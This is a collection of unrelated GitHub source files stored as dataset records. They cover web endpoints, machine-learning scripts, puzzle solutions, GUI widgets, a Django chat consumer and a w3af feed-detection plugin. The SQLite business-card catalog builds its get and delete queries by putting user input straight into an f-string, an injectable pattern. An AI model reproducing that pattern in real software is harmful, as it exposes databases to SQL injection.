raid_loot_sheet.get_all_values()\n\n cell_list = raid_loot_sheet.range(1, 1, len(loot_sheet_values), 12)[12:]\n entries = {}\n index = 0\n for chunk in chunks(cell_list, 12):\n\n if len(chunk[0].value) == 0:\n continue\n\n raid_id = chunk[10].value\n raid_name_short = RAID_NAME_SHORT.get(chunk[1].value, \"\") or include_unofficial\n if is_official_raid(raid_name_short, raid_id):\n #if entries.get(chunk[11].value):\n #print(\"DUP {}\".format(chunk))\n entries[chunk[11].value] = {\n \"date\": chunk[0].value,\n \"raid_name\": chunk[1].value,\n \"player_name\": chunk[2].value,\n \"player_class\": chunk[3].value,\n \"item_name\": chunk[5].value,\n \"use_case\": chunk[6].value,\n \"time_stamp\": chunk[7].value,\n \"item_quality\": chunk[8].value,\n \"item_id\": chunk[9].value,\n \"raid_id\": chunk[10].value,\n \"entry_key\": chunk[11].value,\n \"index\": index\n }\n index += 1\n\n return entries","repo_name":"mtoebes/MTGuildTrackerScripts","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12690143779","text":"# -*- coding: utf-8 -*-\nfrom relay import app\nfrom relay.decorators import jsonify\nfrom relay.decorators import sanitize_user\n\nfrom relay.models.friends import get_user_friends\nfrom relay.models.friends import get_user_friend_requests\nfrom relay.models.users import get_user\nfrom relay.models.users import get_usernames\n\n\n@app.route('/users')\n@jsonify\ndef get_all_users_endpoint():\n return {'users': get_usernames()}\n\n\n@app.route('/users//friends')\n@jsonify\n@sanitize_user\ndef user_friends(user_id):\n user = get_user(user_id)\n return {\n 'friends': get_user_friends(user_id)\n } if user else {}\n \n\n@app.route('/users//friend_requests')\n@jsonify\n@sanitize_user\ndef pending_friends(user_id):\n user = get_user(user_id)\n return {\n 'friend_requests': get_user_friend_requests(user_id)\n } if user else {}\n","repo_name":"Magicjarvis/relay-backend","sub_path":"relay/views/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"23564401651","text":"def read_file(flname):\r\n with open(flname) as f:\r\n content = f.readlines()\r\n content = [x.strip() for x in content]\r\n return content\r\n\r\ndef write_file(flname, content):\r\n with open(flname, 'a') as f:\r\n f.write(content+'\\n') \r\n \r\n\r\ndef is_tidy(n):\r\n\tlst = []\r\n\tm = str(n)\r\n\tfor c in m:\r\n\t\tlst.append(int(c))\r\n\tlst.sort()\r\n\to = \"\"\r\n\tfor s in lst:\r\n\t\to+=str(s)\r\n\tif o == m:\r\n\t\treturn True\r\n\treturn False\r\n\r\nfile_r = \"B-small-attempt0.in\"\r\nfile_w = \"out.txt\"\r\n\t\r\ncontent = read_file(file_r)\r\nT = int(content[0])\r\nfor i in xrange(T):\r\n\ttidy = 0\r\n\tnum = long(content[i+1])\r\n\ttst = str(num)\r\n\tprint(tst)\r\n\tfor k in xrange(len(tst)-1):\r\n\t\t#print(k, tst[k], tst[k+1])\r\n\t\tif tst[k] > tst[k+1]:\r\n\t\t\ttst = tst[:k+1]+\"0\"*(len(tst)-(k)-1)\r\n\t\t\t#print(tst)\r\n\tfor k in xrange(len(tst),1,-1):\r\n\t\tprint(k, tst[k-1], tst[k-2])\r\n\t\tif tst[k-1]==\"0\" and tst[k-2]==\"1\" and k-2>0:\r\n\t\t\ttst = tst[:k-2]+\"0\"*(len(tst)-(k-2))\r\n\t\t\tprint(tst)\r\n\tprint(tst)\r\n\tnum = int(tst)\r\n\twhile num > 0:\r\n\t\tif is_tidy(num):\r\n\t\t\ttidy = num\r\n\t\t\tbreak\r\n\t\tnum -= 1\r\n\twrite_file(file_w, \"Case #\"+str(i+1)+\": \"+str(tidy))","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/5382.py","file_name":"5382.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2016188869","text":"\n_base_ = ['denseclip_r50.py']\n\nmodel = dict(\n type='DenseCLIP',\n pretrained='pretrained/ViT-B-16.pt',\n context_length=5,\n text_head=False,\n text_dim=512,\n score_concat_index=2,\n backbone=dict(\n type='CLIPVisionTransformer',\n patch_size=16,\n width=768,\n output_dim=512,\n get_embeddings=True,\n drop_path_rate=0.1,\n layers=12,\n input_resolution=512,\n style='pytorch'),\n text_encoder=dict(\n type='CLIPTextContextEncoder',\n context_length=13,\n embed_dim=512,\n transformer_width=512,\n transformer_heads=8,\n transformer_layers=12,\n style='pytorch'),\n context_decoder=dict(\n type='ContextDecoder',\n transformer_width=256,\n transformer_heads=4,\n transformer_layers=3,\n visual_dim=512,\n dropout=0.1,\n outdim=512,\n style='pytorch'),\n neck=dict(\n type='FPN',\n in_channels=[768, 768, 768+19, 768],\n out_channels=256,\n num_outs=4),\n decode_head=dict(\n type='FPNHead',\n num_classes=19,\n loss_decode=dict(\n type='CrossEntropyLoss', use_sigmoid=False, loss_weight=1.0)),\n # test_cfg=dict(mode='slide', crop_size=(640, 640), stride=(426, 426)),\n test_cfg=dict(mode='whole')\n)","repo_name":"2U1/LC-MSM","sub_path":"configs/_base_/models/denseclip_vit.py","file_name":"denseclip_vit.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"44372684076","text":"import matplotlib.pyplot as plt\r\nimport tensorflow_hub as hub\r\nimport tensorflow as tf\r\nimport seaborn as sns\r\nimport pandas as pd\r\nimport numpy as np\r\nimport argparse\r\n\r\nmodule_url = \"https://tfhub.dev/google/universal-sentence-encoder/2\"\r\nEPOCHS = 8\r\nBATCH_SIZE = 4096\r\n\r\nTRAINSET = '../data/110k_fullset_train.tsv'\r\nTESTSET = '../data/110k_fullset_test.tsv'\r\nTHRESH = 2 # Acceptable Euclidean distance for non-matched pairs. Max=2 for unit vectors.\r\nALPHA = 0.001\r\n\r\n#######################################################################################\r\n\r\n# Import the Universal Sentence Encoder's TF Hub module\r\nembed = hub.Module(module_url, trainable=True)\r\nprint (np.sum([np.prod(v.get_shape().as_list()) for v in tf.trainable_variables()]))\r\n\r\n# Reduce logging output.\r\ntf.logging.set_verbosity(tf.logging.ERROR)\r\n\r\n#####################################################################################\r\n\r\n# Determine epoch size\r\ntrainlength = sum(1 for line in open(TRAINSET)) - 1\r\nepoch_size = int(np.ceil(trainlength / BATCH_SIZE))\r\n\r\n# Load train set\r\ntrain = tf.contrib.data.make_csv_dataset(TRAINSET, batch_size=BATCH_SIZE, field_delim='\\t')\r\niter = train.make_initializable_iterator()\r\nfirst = iter.get_next()\r\ntext_1, target_1 = first['text'], first['target']\r\nsecond = iter.get_next()\r\ntext_2, target_2 = second['text'], second['target']\r\nsimilarity = tf.cast(tf.equal(target_1, target_2), tf.float32)\r\n\r\n# Load test set\r\ntestlength = sum(1 for line in open(TESTSET)) - 1\r\ntest_size = int(np.ceil(testlength / BATCH_SIZE))\r\ntest = tf.contrib.data.make_csv_dataset(TESTSET, batch_size=BATCH_SIZE, field_delim='\\t')\r\ntest_iter = test.make_one_shot_iterator()\r\ntest_first = test_iter.get_next()\r\ntest_text_1, test_target_1 = test_first['text'], test_first['target']\r\ntest_second = test_iter.get_next()\r\ntest_text_2, test_target_2 = test_second['text'], test_second['target']\r\ntest_similarity = tf.cast(tf.equal(target_1, target_2), tf.float32)\r\n\r\n#####################################################################################\r\n\r\ndef plot_similarity(labels, features, rotation):\r\n corr = np.inner(features, features)\r\n sns.set(font_scale=1.2)\r\n g = sns.heatmap(\r\n corr,\r\n xticklabels=labels,\r\n yticklabels=labels,\r\n vmin=0,\r\n vmax=1,\r\n cmap=\"YlOrRd\")\r\n g.set_xticklabels(labels, rotation=rotation)\r\n g.set_title(\"Semantic Textual Similarity\")\r\n plt.show()\r\n \r\n#####################################################################################\r\n\r\n# Set up tensorflow\r\nwith tf.Session() as session:\r\n # Initialize data loader\r\n session.run(iter.initializer)\r\n\r\n embed_1 = embed(text_1)\r\n embed_2 = embed(text_2)\r\n euclidean_squared = tf.reduce_sum(tf.square(embed_1 - embed_2), 1)\r\n loss = (similarity)*euclidean_squared + (1-similarity)*tf.maximum(0.0,THRESH**2-euclidean_squared)\r\n optimizer = tf.train.GradientDescentOptimizer(learning_rate=ALPHA).minimize(loss)\r\n\r\n session.run(tf.global_variables_initializer())\r\n session.run(tf.tables_initializer())\r\n\r\n # Save initial state\r\n orig_text, orig_target = session.run([text_1, target_1])\r\n orig_pairs = zip(orig_text, orig_target)\r\n orig_pairs = sorted(orig_pairs, key=lambda x: x[1])\r\n orig_text = list(zip(*orig_pairs))[0]\r\n orig_embed = session.run(embed(orig_text))\r\n\r\n # Train\r\n for n in range(EPOCHS):\r\n # Print test loss periodically\r\n if n % 2 == 0:\r\n test_loss = 0.0\r\n for _ in range(test_size):\r\n t1, t2, tsim = session.run([test_text_1, test_text_2, test_similarity])\r\n batch_test_loss = session.run(loss, feed_dict={text_1: t1, text_2: t2, similarity: tsim})\r\n test_loss += np.mean(batch_test_loss)\r\n print ('** Test loss: ', test_loss/test_size)\r\n \r\n # Train in each epoch\r\n epoch_loss = 0.0\r\n for _ in range(epoch_size):\r\n batch_loss, _ = session.run([loss, optimizer])\r\n epoch_loss += np.mean(batch_loss)\r\n print ('Epoch ' + str(n) + ', Average Loss: ', epoch_loss/epoch_size)\r\n\r\n print ('Retrained... showing original embeddings, then new embeddings')\r\n\r\n # Show original embedding\r\n plot_similarity(orig_text, orig_embed, 90)\r\n \r\n # Show new embedding\r\n new_embed = session.run(embed(orig_text))\r\n plot_similarity(orig_text, new_embed, 90)\r\n\r\n # Save new trained model\r\n saver = tf.train.Saver()\r\n saver.save(session, '../models/fine-tuned')\r\n","repo_name":"say543/QueryClassification","sub_path":"ColdStartClassification/siamese_training/fine_tune.py","file_name":"fine_tune.py","file_ext":"py","file_size_in_byte":4388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10596126723","text":"list_1 = []\nlist_2 = []\nfile_name_1 = '1.txt'\nfile_name_2 = '2.txt'\n\nwith open(file_name_1, 'r', encoding='UTF-8') as f:\n list_1.append(f.readlines())\n\nwith open(file_name_2, 'r', encoding='UTF-8') as f:\n list_2.append(f.readlines())\n\nwith open('result.txt', 'w', encoding='UTF-8') as f:\n if len(list_1[0]) <= len(list_2[0]):\n f.write(file_name_1 + '\\n')\n f.write(str(len(list_1[0])) + '\\n')\n for i in range(len(list_1[0])):\n f.write(list_1[0][i])\n f.write('\\n' + file_name_2 + '\\n')\n f.write(str(len(list_2[0])) + '\\n')\n for i in range(len(list_2[0])):\n f.write(list_2[0][i])\n else:\n f.write(file_name_2 + '\\n')\n f.write(str(len(list_2[0])) + '\\n')\n for i in range(len(list_2[0])):\n f.write(list_2[0][i])\n f.write('\\n' + file_name_1 + '\\n')\n f.write(str(len(list_1[0])) + '\\n')\n for i in range(len(list_1[0])):\n f.write(list_1[0][i])\n","repo_name":"alekseyfff/homework-files","sub_path":"Задача №3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14625967307","text":"import sqlite3\n\n\ndatabase = 'business_card_catalog.db'\n\n\ndef create_db_and_table():\n query = \"\"\"\n CREATE TABLE IF NOT EXISTS Users(\n id INTEGER PRIMARY KEY,\n full_name VARCHAR(30) UNIQUE NOT NULL,\n email VARCHAR(30) UNIQUE NOT NULL,\n age INTEGER NOT NULL,\n phone VARCHAR(10) NOT NULL,\n additional_info TEXT\n );\n \"\"\"\n\n connection = sqlite3.connect(database)\n cursor = connection.cursor()\n\n cursor.execute(query)\n\n connection.commit()\n connection.close()\n\n\ndef add():\n name = input('Enter user name: ')\n email = input('Enter email: ')\n age = input('Enter age: ')\n phone = input('Enter phone: ')\n additional = input('Enter addional info (optional): ')\n\n query = \"\"\"\n INSERT INTO Users (full_name, email, age, phone, additional_info)\n VALUES(?, ?, ?, ?, ?);\n \"\"\"\n\n connection = sqlite3.connect(database)\n cursor = connection.cursor()\n\n cursor.execute(query, (name, email, age, phone, additional if additional != '' else \"NULL\"))\n\n connection.commit()\n connection.close()\n\n\ndef list_():\n print('##############')\n print('###Contacts###')\n print('##############')\n\n query = \"\"\"\n SELECT * FROM Users;\n \"\"\"\n\n connection = sqlite3.connect(database)\n cursor = connection.cursor()\n\n cursor.execute(query)\n\n for contact in cursor.fetchall():\n print(f'ID: {contact[0]}, Email: {contact[2]}, Full name: {contact[1]}')\n\n cursor.execute(query)\n\n connection.close()\n\n\ndef get():\n id = input('Enter id: ')\n\n query = f\"\"\"\n SELECT * FROM Users WHERE id = {id};\n \"\"\"\n\n connection = sqlite3.connect(database)\n cursor = connection.cursor()\n\n cursor.execute(query)\n\n contact = cursor.fetchone()\n\n print('\\nContact info:\\n')\n\n print('###############')\n print(f'Id: {contact[0]}')\n print(f'Full name: {contact[1]}')\n print(f'Email: {contact[2]}')\n print(f'Age: {contact[3]}')\n print(f'Phone: {contact[4]}')\n print(f'Additional info: {contact[5]}')\n print('##############')\n\n\ndef delete():\n id = input('Enter id: ')\n\n query = f\"\"\"\n SELECT * FROM Users WHERE id = {id};\n \"\"\"\n\n connection = sqlite3.connect(database)\n cursor = connection.cursor()\n\n cursor.execute(query)\n\n contact = cursor.fetchone()\n\n query = \"\"\"\n DELETE FROM Users WHERE id = ?;\n \"\"\"\n\n cursor.execute(query, id)\n\n connection.commit()\n connection.close()\n\n print('\\nFollowing contact is deleted successfully::\\n')\n\n print('###############')\n print(f'Id: {contact[0]}')\n print(f'Full name: {contact[1]}')\n print(f'Email: {contact[2]}')\n print(f'Age: {contact[3]}')\n print(f'Phone: {contact[4]}')\n print(f'Additional info: {contact[5]}')\n print('##############')\n\n\ndef help_():\n print('#############')\n print('###Options###')\n print('#############\\n')\n\n print('1. `add` - insert new business card')\n print('2. `list` - list all business cards')\n print('3. `delete` - delete a certain business card (`ID` is required)')\n print('4. `get` - display full information for a certain business card (`ID` is required)')\n print('5. `help` - list all available options')\n print('6. `exit` - exit')\n\n\ndef main():\n create_db_and_table()\n print('Hello! This is your business card catalog. What would you like? (enter \"help\" to list all available options)')\n command = ''\n while command != 'exit':\n command = input('>>> Enter command: ')\n\n if command == 'add':\n add()\n elif command == 'list':\n list_()\n elif command == 'delete':\n delete()\n elif command == 'get':\n get()\n elif command == 'exit':\n exit()\n elif command == 'help':\n help_()\n else:\n print('Invalid command')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Boyko03/Python101","sub_path":"week_9/03.SQL-and-Python/01.Business-Card-Catalog/business_card_catalog.py","file_name":"business_card_catalog.py","file_ext":"py","file_size_in_byte":3878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30093435023","text":"import os\nimport boto3\nfrom PIL import Image\n\nBOOLEAN_UPLOAD_THUMBNAIL = True\nBOOLEAN_PRESERVE_ORIGINAL_ON_LOCAL = False\nBOOLEAN_PRESERVE_THUMBNAIL_ON_LOCAL = False\nBOOLEAN_ENABLE_LOGGING = True\n\n\n# Replace these with your S3 credentials and bucket name\nS3_BUCKET_NAME = 'bucket_name'\n\n# Define the source and destination folder in S3\nsource_folder = 'path/to/images/'\ndestination_folder = 'location/for/s3/thumbnails'\nthumbnail_file_prefix = 'thumbnail_'\n\n# Create an S3 client\naws_config_rofile_name = 'aws_profile_name_on_local'\nboto3.setup_default_session(profile_name=aws_config_rofile_name)\ns3 = boto3.client('s3')\n\n\n# List all files in the source folder\nresponse = s3.list_objects_v2(Bucket=S3_BUCKET_NAME, Prefix=source_folder)\n\n# Creating Folders to Download Images & generate it's thumbnail\ncurrent_directory = os.getcwd()\nimages_directory = os.path.join(current_directory, r'images/')\nif not os.path.exists(images_directory):\n os.makedirs(images_directory)\n\n\nfor obj in response.get('Contents', []):\n # Check if the object is a file (not a folder)\n\n print(\"----------------------------------------------------------------------------------\")\n if obj['Key'] != source_folder:\n # Create a unique name for the thumbnail\n filename = obj['Key'].split(\"/\")[len(obj['Key'].split(\"/\")) - 1]\n\n if BOOLEAN_ENABLE_LOGGING:\n print(f\"Image on S3 path = {obj['Key']}\")\n\n # Download the image from S3\n s3.download_file(S3_BUCKET_NAME, obj['Key'], images_directory + filename)\n if BOOLEAN_ENABLE_LOGGING:\n print(f\"HD File Download Location = {images_directory + filename}\")\n\n # Create a thumbnail\n with Image.open(images_directory + filename) as img:\n img.thumbnail((300, 300)) # Adjust the size as needed\n img.save(images_directory + thumbnail_file_prefix + filename, format='JPEG')\n\n if BOOLEAN_ENABLE_LOGGING:\n print(f\"Thumbnail File Download Location = {images_directory + thumbnail_file_prefix + filename}\")\n\n\n thumbnail_key = destination_folder + thumbnail_file_prefix + filename\n\n # Upload the thumbnail to S3\n if BOOLEAN_UPLOAD_THUMBNAIL:\n s3.upload_file(images_directory + thumbnail_file_prefix + filename, S3_BUCKET_NAME, thumbnail_key)\n if BOOLEAN_ENABLE_LOGGING:\n print(f\"Thumbnail File Upload Location = {thumbnail_key}\")\n\n # Clean up temporary files\n try:\n if not BOOLEAN_PRESERVE_ORIGINAL_ON_LOCAL:\n os.remove(images_directory + filename)\n\n if not BOOLEAN_PRESERVE_THUMBNAIL_ON_LOCAL:\n os.remove(images_directory + thumbnail_file_prefix + filename)\n\n except Exception as e:\n print(e)\n","repo_name":"indayush/s3-images-thumbnails-generator.py","sub_path":"thumbnail-generator.py","file_name":"thumbnail-generator.py","file_ext":"py","file_size_in_byte":2774,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"26878293230","text":"from PyQt5 import QtWidgets\nfrom PyQt5.QtGui import QPainter\nfrom PyQt5.QtWidgets import QStyle, QStyleOptionSlider\nfrom PyQt5.QtCore import QRect, QPoint, Qt\n\n\nclass LabelledSlider(QtWidgets.QWidget):\n def __init__(self, interval=1, orientation=Qt.Horizontal,\n labels=None, parent=None):\n super(LabelledSlider, self).__init__(parent=parent)\n\n if orientation == Qt.Horizontal:\n self.layout = QtWidgets.QVBoxLayout(self)\n elif orientation == Qt.Vertical:\n self.layout = QtWidgets.QHBoxLayout(self)\n else:\n raise Exception(\" wrong.\")\n\n # gives some space to print labels\n self.left_margin = 10\n self.top_margin = 10\n self.right_margin = 10\n self.bottom_margin = 10\n\n self.layout.setContentsMargins(self.left_margin, self.top_margin,\n self.right_margin, self.bottom_margin)\n\n self.sl = QtWidgets.QSlider(orientation, self)\n\n if orientation == Qt.Horizontal:\n self.sl.setTickPosition(QtWidgets.QSlider.TicksBelow)\n self.sl.setMinimumWidth(300) # just to make it easier to read\n else:\n self.sl.setTickPosition(QtWidgets.QSlider.TicksLeft)\n self.sl.setMinimumHeight(300) # just to make it easier to read\n\n self.sl.setTickInterval(interval)\n self.sl.setSingleStep(1)\n self.sl.setStyleSheet(\"\"\"\n QSlider::groove:horizontal {\n border: 1px solid #999999;\n height: 8px; /* the groove expands to the size of the slider by default. by giving it a height, it has a fixed size */\n background: white;\n margin: 2px 0;\n }\n \n QSlider::handle:horizontal {\n background: #f5f5f5;\n border: 1px solid #5c5c5c;\n height: 18px;\n width: 18px;\n margin: -6px 0; /* handle is placed by default on the contents rect of the groove. Expand outside the groove */\n border-radius: 3px;\n }\n QSlider::sub-page {\n background: #379ede;\n }\n \"\"\")\n\n self.layout.addWidget(self.sl)\n\n def paintEvent(self, e):\n super(LabelledSlider, self).paintEvent(e)\n\n style = self.sl.style()\n painter = QPainter(self)\n st_slider = QStyleOptionSlider()\n st_slider.initFrom(self.sl)\n st_slider.orientation = self.sl.orientation()\n\n length = style.pixelMetric(QStyle.PM_SliderLength, st_slider, self.sl)\n available = style.pixelMetric(\n QStyle.PM_SliderSpaceAvailable, st_slider, self.sl)\n\n for v, v_str in self.levels:\n # get the size of the label\n rect = painter.drawText(QRect(), Qt.TextDontPrint, v_str)\n\n if self.sl.orientation() == Qt.Horizontal:\n # I assume the offset is half the length of slider, therefore\n # + length//2\n x_loc = QStyle.sliderPositionFromValue(self.sl.minimum(),\n self.sl.maximum(), v, available)+length//2\n\n # left bound of the text = center - half of text width + L_margin\n left = x_loc-rect.width()//2+self.left_margin\n bottom = self.rect().bottom()\n\n # enlarge margins if clipping\n if v == self.sl.minimum():\n if left <= 0:\n self.left_margin = rect.width()//2-x_loc\n if self.bottom_margin <= rect.height():\n self.bottom_margin = rect.height()\n\n self.layout.setContentsMargins(self.left_margin,\n self.top_margin, self.right_margin,\n self.bottom_margin)\n\n if v == self.sl.maximum() and rect.width()//2 >= self.right_margin:\n self.right_margin = rect.width()//2\n self.layout.setContentsMargins(self.left_margin,\n self.top_margin, self.right_margin,\n self.bottom_margin)\n\n else:\n y_loc = QStyle.sliderPositionFromValue(self.sl.minimum(),\n self.sl.maximum(), v, available, upsideDown=True)\n\n bottom = y_loc+length//2+rect.height()//2+self.top_margin-3\n # there is a 3 px offset that I can't attribute to any metric\n\n left = self.left_margin-rect.width()\n if left <= 0:\n self.left_margin = rect.width()+2\n self.layout.setContentsMargins(self.left_margin,\n self.top_margin, self.right_margin,\n self.bottom_margin)\n\n pos = QPoint(left, bottom)\n painter.drawText(pos, v_str)\n\n return\n","repo_name":"Anand-Nakhate/Async-ASR","sub_path":"async-asr-newWebSocket/screens/labelledslider.py","file_name":"labelledslider.py","file_ext":"py","file_size_in_byte":5108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16239542347","text":"import uvicorn\nimport json\nimport logging\nfrom fastapi import FastAPI, Request\nfrom inference import get_recommendations\n\nlogging.basicConfig(level=logging.INFO)\n\napp = FastAPI()\n\n@app.get(\"/\")\nasync def root():\n return {\"message\": \"Hello! You app is running..\"}\n\n@app.get(\"/predict\")\nasync def get_preds(request: Request):\n id = request.query_params['id']\n response = get_recommendations(int(id))\n converted_response = {str(k):float(v) for k, v in response.items()}\n return json.dumps(converted_response)\n\nif __name__ == \"__main__\":\n uvicorn.run(app, host=\"0.0.0.0\", port=5000)","repo_name":"ishitharaj/OkkoRecSystem","sub_path":"api/faaastapi.py","file_name":"faaastapi.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5916602852","text":"from django import forms\n\n\nclass ContactForm(forms.Form):\n \"\"\"\n Create a form for the user to send a message to the site owner\n \"\"\"\n name = forms.CharField(required=True)\n from_email = forms.EmailField(required=True)\n subject = forms.CharField(required=True)\n content = forms.CharField(widget=forms.Textarea, required=True)\n\n def __init__(self, *args, **kwargs):\n \"\"\"\n Add placeholders and classes, remove auto-generated\n labels and set autofocus on first field\n \"\"\"\n super().__init__(*args, **kwargs)\n placeholders = {\n 'name': 'Full Name',\n 'from_email': 'Email Address',\n 'subject': 'Subject',\n 'content': 'Message',\n }\n\n self.fields['name'].widget.attrs['autofocus'] = True\n for field in self.fields:\n if self.fields[field].required:\n placeholder = f'{placeholders[field]} *'\n else:\n placeholder = placeholders[field]\n self.fields[field].widget.attrs['placeholder'] = placeholder\n self.fields[field].label = False\n","repo_name":"iainm342/milestone-4","sub_path":"contact/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"74769969153","text":"import numpy as np\nimport collections\n\n# load the file\nwords = np.loadtxt('./input02.txt', dtype=str)\n\n# Part I\n# set the counters\ntwos = 0\nthrees = 0\n\n# each line is a \"word\"\nfor word in words:\n key_vals = collections.Counter(word).values()\n # check if they appear\n if 2 in key_vals:\n twos += 1\n if 3 in key_vals:\n threes += 1\n\n# print the result\nprint(twos*threes)\n\n\n# Part II\n# test set:\n# words = ['abcde', 'fghij', 'klmno', 'pqrst', 'fguij', 'axcye', 'wvxyz']\n\n# empty containers\nheads = [] # stores before split\ntails = [] # stores after split\n\n# we don't want to split at first or last char\nfor i in range(1, len(words[0])-1):\n for j in range(len(words)):\n heads.append(words[j][:i])\n tails.append(words[j][i+1:])\n\n # checking\n for k in range(len(heads)):\n for l in range(len(heads)):\n if k != l:\n if heads[k] == heads[l]:\n if tails[k] == tails[l]:\n # solution found\n print(heads[k]+tails[k])\n break\n # reset\n heads = []\n tails = []\n","repo_name":"biernackip/advent_of_code","sub_path":"2018/02.py","file_name":"02.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39836916438","text":"class Solution:\n def findLength(self, A, B):\n \"\"\"\n :type A: List[int]\n :type B: List[int]\n :rtype: int\n \"\"\"\n\n # Basic DP\n # Time: O(A*B)\n # Space: O(A)\n ans = 0\n\n memo = [[0 for i in range(len(A)+1)] for j in range(2)]\n row = 0\n # Memo basically records Longest Common Suffix -- only keeps last two rows\n for j in range(len(B)+1):\n row = not row\n for i in range(len(A)+1):\n # the init cells\n if i == 0 or j == 0:\n memo[row][i] = 0\n # if equal\n elif A[i-1] == B[j-1]:\n memo[row][i] = memo[not row][i-1] + 1\n ans = max(memo[row][i], ans)\n # no common suffix\n else:\n memo[row][i] = 0\n\n return ans\n\ndef printGrid(grid):\n for r in grid:\n print(r)\n","repo_name":"jeffreyyun/CompetitiveProgrammingProblems","sub_path":"leetcode/56C.py","file_name":"56C.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"16757593247","text":"from channels.generic.websocket import AsyncWebsocketConsumer\nimport json\nfrom channels.layers import get_channel_layer\nfrom django.db.models import Q\nfrom .models import Room\nfrom django.contrib.auth import get_user_model\nUser = get_user_model()\n\n\nclass ChatConsumer(AsyncWebsocketConsumer):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.user = None\n self.room = None\n\n async def connect(self):\n if self.scope[\"user\"].is_anonymous:\n # Reject the connection\n await self.close()\n else:\n self.user = self.scope['user']\n self.other = self.scope['url_route']['kwargs']['other']\n\n author_user = User.objects.filter(email=self.user)[0]\n\n friend_user = User.objects.filter(id=self.other)[0]\n\n print(friend_user)\n if Room.objects.filter(\n Q(author=author_user, other=friend_user) | Q(author=friend_user, other=author_user)).exists():\n self.room = Room.objects.filter(\n Q(author=author_user, other=friend_user) | Q(author=friend_user, other=author_user))[0]\n else:\n self.room = Room.objects.create(\n author=author_user, other=friend_user)\n self.room_group_name = 'chat_%s' % str(self.room.id)\n print(\"sdfdsjf\", self.room_group_name)\n # Join room group\n await self.channel_layer.group_add(\n self.room_group_name,\n self.channel_name\n )\n\n await self.accept()\n\n async def disconnect(self, close_code):\n # Leave room group\n await self.channel_layer.group_discard(\n self.room_group_name,\n self.channel_name\n )\n\n # Receive message from WebSocket\n async def receive(self, text_data):\n text_data_json = json.loads(text_data)\n message = text_data_json['message']\n\n # Send message to room group\n await self.channel_layer.group_send(\n self.room_group_name,\n {\n 'type': 'chat_message',\n 'message': message\n }\n )\n\n # Receive message from room group\n async def chat_message(self, event):\n message = event['message']\n\n # Send message to WebSocket\n await self.send(text_data=json.dumps({\n 'message': message\n }))\n","repo_name":"SurajFc/Django-channels-private-chat","sub_path":"chat/consumers.py","file_name":"consumers.py","file_ext":"py","file_size_in_byte":2438,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"42564288474","text":"import core.controllers.outputManager as om\n\n# options\nfrom core.data.options.option import option\nfrom core.data.options.optionList import optionList\n\nfrom core.controllers.basePlugin.baseGrepPlugin import baseGrepPlugin\nfrom core.data.bloomfilter.bloomfilter import scalable_bloomfilter\n\nimport core.data.kb.knowledgeBase as kb\nimport core.data.kb.info as info\n\nclass feeds(baseGrepPlugin):\n '''\n Grep every page and finds rss, atom, opml feeds.\n \n @author: Andres Riancho ( andres.riancho@gmail.com )\n '''\n \n def __init__(self):\n baseGrepPlugin.__init__(self)\n self._rss_tag_attr = [('rss', 'version', 'RSS'),# \n ('feed', 'version', 'OPML'),# \n ]\n self._already_inspected = scalable_bloomfilter()\n \n def grep(self, request, response):\n '''\n Plugin entry point, find feeds.\n \n @parameter request: The HTTP request object.\n @parameter response: The HTTP response object\n @return: None\n '''\n dom = response.getDOM()\n uri = response.getURI()\n \n # In some strange cases, we fail to normalize the document\n if uri not in self._already_inspected and dom is not None:\n\n self._already_inspected.add(uri)\n\n for tag_name, attr_name, feed_type in self._rss_tag_attr:\n \n # Find all tags with tag_name\n element_list = dom.xpath('//%s' % tag_name)\n \n for element in element_list:\n \n if attr_name in element.attrib:\n \n version = element.attrib[attr_name] \n i = info.info()\n i.setPluginName(self.getName())\n i.setName(feed_type +' feed')\n i.setURI(uri)\n msg = 'The URL: \"' + uri + '\" is a ' + feed_type + ' version \"' \n msg += version + '\" feed.'\n i.setDesc( msg )\n i.setId( response.id )\n i.addToHighlight( feed_type )\n kb.kb.append( self, 'feeds', i )\n \n def setOptions( self, OptionList ):\n pass\n \n def getOptions( self ):\n '''\n @return: A list of option objects for this plugin.\n ''' \n ol = optionList()\n return ol\n\n def end(self):\n '''\n This method is called when the plugin wont be used anymore.\n '''\n self.printUniq( kb.kb.getData( 'feeds', 'feeds' ), 'URL' )\n\n def getPluginDeps( self ):\n '''\n @return: A list with the names of the plugins that should be runned before the\n current one.\n '''\n return []\n \n def getLongDesc( self ):\n '''\n @return: A DETAILED description of the plugin functions and features.\n '''\n return '''\n This plugin greps every page and finds rss, atom, opml feeds on them. 